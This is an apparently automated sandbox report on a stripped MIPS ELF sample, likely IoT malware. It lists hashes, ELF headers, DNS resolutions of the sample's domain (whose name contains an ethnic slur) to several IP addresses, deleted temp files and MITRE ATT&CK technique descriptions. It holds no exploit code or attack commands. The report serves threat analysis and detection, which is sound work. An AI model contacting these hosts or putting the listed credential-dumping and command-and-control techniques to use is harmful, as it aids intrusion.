Preview:	400000-412000 r-xp 00000000 fd:00 531606 /tmp/..452000-453000 rw-p 00012000 fd:00 531606 /tmp/..453000-455000 rw-p 00000000 00:00 0 .455000-456000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

File type:	ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.67508149340225
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	zQuEO8Ftyh.elf
File size:	76'024 bytes
MD5:	7cc806686b49b81d3d2b17b3be5355ef
SHA1:	ffa7153ff546ac24f1db89c25833a7b8a2347358
SHA256:	39776a51f9f000b08d5330ba487c6eaa7e4b3b527c361e1214630c84e2c539ae
SHA512:	11d767f40750d9da84b0625a44fec8efe7e02b9cfe28a4ba0e1dd61d5a25b451814e795d602c77f0f9e5ab9932cb402921ab18636a9fa1b14113970945ebff87
SSDEEP:	1536:FZvLpG1u4wdhgz7/f1w0eIZT3o6GxGwrbb3Y3xW3nvwKiha+8qRqbNnI8sRy:FZTpG1R6mH/f1w0eIZjo6GxGwrCxVwZ/
TLSH:	A273B7062B35DF9EFB6DC63586B78D25974823D226E4C289D26CFD016E5034E601FBB8
File Content Preview:	.ELF.....................@.`...4..&.p....4. ...(.............@...@........................ ..E ..E ....4...(........dt.Q............................<...'......!'.......................<...'......!... ....'9... ......................<...'......!........'9.

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x70001007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	75424
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x10a40	0x0	0x6	AX	16
.fini	PROGBITS	0x410b60	0x10b60	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x410bc0	0x10bc0	0x1100	0x0	0x2	A	16
.ctors	PROGBITS	0x452000	0x12000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x452008	0x12008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x452010	0x12010	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x452014	0x12014	0xe0	0x0	0x3	WA	4
.data	PROGBITS	0x452100	0x12100	0x180	0x0	0x3	WA	16
.got	PROGBITS	0x452280	0x12280	0x3b4	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x452634	0x12634	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x452660	0x12634	0x11c8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x762	0x12634	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x12634	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x11cc0	0x11cc0	5.7454	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x12000	0x452000	0x452000	0x634	0x1828	3.6811	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Apr 28, 2024 14:39:33.662724972 CEST	8.8.8.8	192.168.2.14	0x306a	No error (0)	infectedchink.cat	204.76.203.101	A (IP address)	IN (0x0001)	false
Apr 28, 2024 14:39:33.662724972 CEST	8.8.8.8	192.168.2.14	0x306a	No error (0)	infectedchink.cat	204.76.203.223	A (IP address)	IN (0x0001)	false
Apr 28, 2024 14:39:33.662724972 CEST	8.8.8.8	192.168.2.14	0x306a	No error (0)	infectedchink.cat	86.104.194.115	A (IP address)	IN (0x0001)	false
Apr 28, 2024 14:39:33.662724972 CEST	8.8.8.8	192.168.2.14	0x306a	No error (0)	infectedchink.cat	204.76.203.103	A (IP address)	IN (0x0001)	false
Apr 28, 2024 14:39:33.662724972 CEST	8.8.8.8	192.168.2.14	0x306a	No error (0)	infectedchink.cat	204.76.203.5	A (IP address)	IN (0x0001)	false

Start time (UTC):	12:39:31
Start date (UTC):	28/04/2024
Path:	/tmp/zQuEO8Ftyh.elf
Arguments:	/tmp/zQuEO8Ftyh.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report zQuEO8Ftyh.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

PCAP (Network Traffic)

Snort Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.04RoGJ (deleted)

/tmp/qemu-open.0EaAqL (deleted)

/tmp/qemu-open.0IhCcL (deleted)

/tmp/qemu-open.0LK97L (deleted)

/tmp/qemu-open.0eUIKK (deleted)

/tmp/qemu-open.0j2E2J (deleted)

/tmp/qemu-open.11gjOJ (deleted)

/tmp/qemu-open.12GVfL (deleted)

/tmp/qemu-open.14rxdJ (deleted)

/tmp/qemu-open.17aPaL (deleted)

/tmp/qemu-open.1H8tdN (deleted)

/tmp/qemu-open.1HFi1I (deleted)

/tmp/qemu-open.1QxFKM (deleted)

/tmp/qemu-open.262raJ (deleted)

/tmp/qemu-open.2EOIKL (deleted)

/tmp/qemu-open.2MppvM (deleted)

/tmp/qemu-open.2W63KJ (deleted)

/tmp/qemu-open.2ZxxFK (deleted)

/tmp/qemu-open.2v07MJ (deleted)

/tmp/qemu-open.30W7aL (deleted)

/tmp/qemu-open.3AHveK (deleted)

/tmp/qemu-open.3Ov40J (deleted)

/tmp/qemu-open.3WWe8J (deleted)

/tmp/qemu-open.3ZIOaM (deleted)

/tmp/qemu-open.3lHpFI (deleted)

/tmp/qemu-open.3lxoBI (deleted)

/tmp/qemu-open.43jzNK (deleted)

/tmp/qemu-open.4Rng6L (deleted)

/tmp/qemu-open.4TuTqM (deleted)

Linux Analysis Report
zQuEO8Ftyh.elf

Start time (UTC):	12:39:32
Start date (UTC):	28/04/2024
Path:	/tmp/zQuEO8Ftyh.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre